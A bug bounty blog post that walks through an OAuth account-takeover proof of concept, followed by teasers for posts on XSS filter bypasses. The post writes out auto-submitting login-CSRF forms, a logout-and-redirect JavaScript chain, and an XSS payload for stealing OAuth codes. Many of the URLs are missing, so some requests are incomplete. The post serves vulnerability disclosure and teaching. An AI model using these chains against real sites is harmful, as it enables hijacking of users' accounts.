Skip to main content

Bug Bounty : Account Takeover Vulnerability POC


In this post I'm going to share how I could takeover users accounts.

So, what was the vulnerability?

Well , It was a very simple OAuth flaw which I could use to takeover users account with minimal user interaction.

Cut the crap, Give me POC -_-
Ok. users have an option to connect their facebook account to their account. 

Once a user connects his facebook account to his account he does not need to enter his username/password to login instead he can simply click on "Sign in using Facebook" and he will be logged in (only if he is already logged in into his facebook account which he connected to his account)

Ok all looks good let's see what happens in background when any user clicks on "Connect with Facebook"

GET Request  :,user_birthday,user_education_history,user_hometown,user_location&client_id=11111111111111

Did you find the flaw??

If not then go and read this awesome guide on common OAuth vulnerability.
If yes then read further.

As we can see there's not any "state" parameter hence this request can be forged to connect currently logged in facebook account to currently logged in account.

Now in order to exploit this vulnerability first we need to log in our (attacker's) facebook account into user browser so that we can forge the connect request and connect our facebook account to their account.

Fortunately facebook is vulnerable to login CSRF so all we need to do is first log in our facebook account and then forge the connect request in users browser.

Fb login CSRF exploit :

<form  action="" method="POST">
<input type=text name=email value=EMAIL>
<input type=text name=pass value=PASSWORD>

Now the challenge was how to forge connect request after the form is submitted??
Once the form is submitted we lose control. And yeah it's facebook so iframe trick won't work here.
So we have to find a way to make facebook forge the connect request for us.

Again fortunately there are so many end points on facebook which takes URL as input and redirects. 

I found one of them:

Final URL which will login my facebook account and also forge the connect request:,user_birthday,user_education_history,user_hometown,user_location&client_id=11111111111111

But wait how to deal with this ???

It's quite simple, To bypass this prompt all I had to do is first connect my facebook account to my account so that facebook will save this ( fb app in my facebook account and facebook will not ask me for this approval next time when I connect users (victim's) account to my facebook account since this ( fb app is already approved by me.

Final Exploit:

<body onload=document.getElementById("id").submit()>
<form id='id' action="" method="POST">

<input type=text name=email value=FB_USERNAME>
<input type=text name=pass value=FB_PASSWORD>
<input type=submit>

OK this was one way to exploit it, Now what if the facebook was not vulnerable to login csrf?

There was one more way to exploit it , by using stored self XSS and login CSRF in

 Let's discuss.

There was a page which was vulnerable to stored self XSS :

Now my plan was to first plant an XSS payload there : 
'"><script>alert("Sending your fb tokens to Attacker ="</script>< 

Next I would simply log out users account and log in my example account (which contains stored self xss payload) and then forge the connect request and make redirect to the location where I planted XSS payload ( and steal the Oauth code of user's (victim's) facebook account.

Since the user's facebook account is already connected to user's account we can use that code to login to user's account. (This method will only work if the user's account is already connected to his facebook account and he has currently logged in to his facebook account)

So forged connect request will look like :,user_birthday,user_education_history,user_hometown,user_location&redirect_uri=

Notice the "redirect_uri" parameter , we can only change the path from this. Changing the domain name would result in failure.

Final Exploit :


var logout='<img src=>' //TO LOG OUT VICTIM'S ACCOUNT

var login='<iframe id="iframe1" src="form.html">' //TO LOG IN ATTACKER'S ACCOUNT, form.html contains login csrf exploit with attacker's account credentials of

var steal="
111111111111111&scope=email,user_birthday,user_education_history,user_hometown,user_location&redirect_uri= "


setInterval(function(){ location.href=steal;   }, 3000);


 Above exploit will first log out the currently logged in user from his account then it would log in our account and then it would forge the connect request which would redirect to our stored XSS location with Oauth code like:

Now our XSS payload which we stored before on that page will execute it will send that oauth code to us.
 After that I could simply login to user account by :

BTW I think I could simply request the oauth code for my facebook account and then forge above request in user's browser to connect my facebook account to his account ;)

Simple exploit :

<img src=>



Never take small vulnerabilities like self XSS , login CSRF , logout CSRF for granted ;)


Post a comment

Popular posts from this blog

JSP ContextPath Link Manipulation - XSS

This post is about how to manipulate resource links of HTML elements (script, img, link, etc) when getContextPath method is used to obtain base path of resources. With the ability to manipulate links you can do XSS, CSS Injection, etc.

Basically we are going to use path parameters to manipulate context path such that links would point to attacker's domain. There's a good blog that talk about the similar issues :

However this post is more about manipulating context path to hijack resource links of HTML elementsSo let's have a look at a simple JSP page (test.jsp)

This page just loads some resources like script, image, css and that's it. It doesn't take any direct input from user but it is using value returned by request.getContextPath() as base path to resources link.

What can we do here?

Let's try to control the base path by using path parameters :;pathParameter/contextPathEx…

Xssing Web Part - 1

Xssing Web Part - 1

I'm thinking about sharing everything I know about XSS :) However it's not possible to put all methods in one single post so I would be making several parts of "Xssing Web". Mostly I would be talking about how to bypass XSS filters and how to turn most of non exploitable XSS to exploitable.

All of you might have encountered one such end point that takes URL as parameter and redirects to it using javascript like :


In this post I would be talking about how to get XSS in such situations and how to bypass their filters.

First thing we can do here is try 'javascript' protocol or 'data' URI scheme.


It would execute 'alert(1)' function.

From now onwards I will only be talki…

Xssing Web Part - 2

Xssing Web With Unicodes
Hello friends, 

This is the second part of "Xssing Web". In this post I would show how to abuse unicodes to bypass XSS filters. 
BTW if you want to check previous part click here.

Note : If you think there are any mistakes in this post then kindly mention it in comments.

I have developed several XSS challenges to show how unicodes can be used to bypass filters. If you want to try those challenges first then click here, get back here if you couldn't solve any.

Abusing Unicode :

So what is Unicode?

-> Unicode is nothing but the encoding standard. It defines UTF-8UTF-16,UTF-32, etc encodings.

1) UTF-8 :

Characters Size :1 byte to 4 byte

Example :
Character "A" => 0x41
Character "¡"  => 0xC2 0xA1
Character "ಓ" => 0xE0 0xB2 0x93
Character "𪨶" => 0xF0 0xAA 0xA8 0xB6

2) UTF-16:

Character Size : 2 byte

However in UTF-16 there are two ways to represent any characters.

i) UTF-16be (be- Big Endian) [Left to Right Byte …